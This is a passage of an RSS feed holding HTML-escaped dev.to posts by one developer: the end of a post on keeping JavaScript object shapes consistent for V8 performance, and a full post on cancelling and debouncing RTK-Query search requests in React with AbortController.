        &lt;span class="na"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;record&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;userId&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;record&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;action&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;record&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;record&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;record&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;normalizedRecords&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;records&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;normalize&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, every object had the same keys in the same order. V8 could finally do its thing.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Result? 5x Faster 🚀
&lt;/h2&gt;

&lt;p&gt;Before normalization, the transformation and aggregation logic was taking around &lt;strong&gt;2000ms&lt;/strong&gt;. After fixing the shapes? Just &lt;strong&gt;400ms&lt;/strong&gt;. That’s a &lt;strong&gt;5x speed boost&lt;/strong&gt; from one simple change.&lt;/p&gt;

&lt;h2&gt;
  
  
  What You Can Take From This
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;  JavaScript engines optimize better when object shapes are consistent.&lt;/li&gt;
&lt;li&gt;  Avoid dynamic property additions.&lt;/li&gt;
&lt;li&gt;  Always try to initialize objects with all their properties upfront and in a predictable order.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;Hidden classes matter more than you'd think. If you're working with large datasets or doing performance-sensitive work in JS, keeping your object shapes consistent can make a &lt;em&gt;huge&lt;/em&gt; difference.&lt;/p&gt;




&lt;h3&gt;
  
  
  Wrapping Up
&lt;/h3&gt;

&lt;p&gt;If you’re curious about how V8 handles performance under the hood, check out this excellent deep dive: &lt;a href="https://web.dev/articles/speed-v8" rel="noopener noreferrer"&gt;Speeding up V8&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you found this helpful or have other performance tips to share, drop them in the comments. I'd love to hear how you tackle performance bottlenecks in your own projects.&lt;/p&gt;

&lt;p&gt;You can also follow me on &lt;a href="https://x.com/itsrahuls24" rel="noopener noreferrer"&gt;X (Twitter)&lt;/a&gt; or connect with me on &lt;a href="https://www.linkedin.com/in/rahuls24/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt; — I share more dev tips, real-world learnings, and JavaScript deep dives.&lt;/p&gt;

&lt;p&gt;Thanks for reading — and keep coding! 🚀&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>webdev</category>
      <category>performance</category>
      <category>node</category>
    </item>
    <item>
      <title>How to Handle RTK-Query Request Cancellations in React</title>
      <dc:creator>Rahul Kumar</dc:creator>
      <pubDate>Thu, 01 Aug 2024 11:28:26 +0000</pubDate>
      <link>https://dev.to/rahuls24/how-to-handle-rtk-query-request-cancellations-in-react-292h</link>
      <guid>https://dev.to/rahuls24/how-to-handle-rtk-query-request-cancellations-in-react-292h</guid>
      <description>&lt;p&gt;Have you ever experienced stale data or race conditions in your React app when users interact quickly — like typing fast into a search box? This is where &lt;strong&gt;request cancellation&lt;/strong&gt; becomes essential, especially if you're using &lt;strong&gt;RTK-Query&lt;/strong&gt; for data fetching.&lt;/p&gt;

&lt;p&gt;Recently, I worked on a feature that involved live search suggestions. Everything worked well until I noticed that the UI sometimes showed results from older, slower responses instead of the latest user input. After digging around, I realized the fix was simpler than expected: &lt;strong&gt;handle cancellations properly using &lt;code&gt;useLazyQuery&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Problem: Stale Data from Previous Requests
&lt;/h2&gt;

&lt;p&gt;When you're making rapid API calls — like in autocomplete, filters, or live search — older requests may return after newer ones. RTK-Query will still fulfill those old requests unless you actively cancel them.&lt;/p&gt;

&lt;p&gt;This leads to weird and confusing bugs for users where the UI briefly shows the wrong state.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Solution: Use &lt;code&gt;useLazyQuery&lt;/code&gt; with Abort Handling
&lt;/h2&gt;

&lt;p&gt;Instead of firing the query as soon as the component renders, &lt;code&gt;useLazyQuery&lt;/code&gt; gives you more control. Here’s how I implemented it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;trigger&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;useLazySearchQuery&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;controllerRef&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useRef&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handleSearch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;controllerRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;current&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;controllerRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;current&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;controllerRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;current&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;AbortController&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="nf"&gt;trigger&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;controllerRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;current&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This way, every time &lt;code&gt;handleSearch&lt;/code&gt; is triggered (say, on input change), the previous request is canceled using &lt;code&gt;AbortController&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bonus: Debounce It!
&lt;/h2&gt;

&lt;p&gt;To avoid firing a request on every keystroke, wrap &lt;code&gt;handleSearch&lt;/code&gt; in a debounce:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;debouncedSearch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useCallback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;debounce&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;handleSearch&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;[]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  What You Get
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Fewer unnecessary requests.&lt;/li&gt;
&lt;li&gt;No more UI flickering due to old results.&lt;/li&gt;
&lt;li&gt;Cleaner, more controlled data fetching.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Wrapping Up
&lt;/h3&gt;

&lt;p&gt;Effectively managing request cancellations with RTK-Query helps ensure that your app remains responsive and avoids displaying stale data. By leveraging &lt;code&gt;useLazyQuery&lt;/code&gt; and handling cancellations appropriately, you can keep your data fetching logic clean and efficient.&lt;/p&gt;

&lt;p&gt;For more info, dive into the &lt;a href="https://redux-toolkit.js.org/rtk-query/api/created-api/hooks#signature-4" rel="noopener noreferrer"&gt;RTK-Query API documentation&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;That’s all for today! 😊&lt;/p&gt;

&lt;p&gt;Let me know your thoughts or favorite tips in the comments. Thanks for reading!&lt;/p&gt;

&lt;p&gt;You can also follow me on &lt;a href="https://x.com/itsrahuls24" rel="noopener noreferrer"&gt;X (Twitter)&lt;/a&gt; or connect with me on &lt;a href="https://www.linkedin.com/in/rahuls24/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Keep Coding!&lt;/p&gt;

</description>
      <category>react</category>
      <category>redux</category>
      <category>webdev</category>
      <category>javascript</category>
    </item>
  </channel>
</rss>
